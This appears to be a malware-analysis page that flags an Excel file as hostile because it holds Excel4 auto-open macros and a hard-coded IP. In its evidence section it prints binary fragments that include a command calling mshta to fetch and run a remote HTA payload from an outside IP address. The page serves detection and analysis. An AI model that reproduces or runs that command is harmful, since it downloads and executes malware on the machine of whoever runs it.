Hostile 100% Download

86e3fb02a6c39efa8a30f38317b6eabeadd4e5392834c8a771811469ba655168.xlsx

Excel macro executes remote HTA

Detects Excel4 macro use with auto open / closeDirect external IP address in URL
SHA-25686e3fb02a6c39efa8a30f38317b6eabeadd4e5392834c8a771811469ba655168
MaleculeO(C)Th

Evidence

Detects Excel4 macro use with auto open / close line 0
0��ࡱ�����������������>���� ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Direct external IP address in URL line 81483
81483����,�������Q����������� ���;�4�CMD.EXE /c mshta http://91.240.118.172/cc/vv/fe.htmlBn�����������������B�6���������U�� ���� ����P���H��� �������������0�����(���� �������������������

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.